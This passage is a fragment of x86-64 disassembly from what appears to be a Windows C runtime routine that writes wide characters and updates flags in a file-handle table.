and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14002d945
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14002d918
mov word [rbx], r12w
jmp 0x14002d993
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14002d921
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14002d993
cmp word [rsp + 0x70], r12w
jne 0x14002d952
cmp rbx, rsi
je 0x14002d912
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14002e464
cmp word [rsp + 0x70], r12w
je 0x14002d997
mov word [rbx], r13w
jmp 0x14002d993
lea r11, [0x140819560]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14002d98f
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14002d997
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret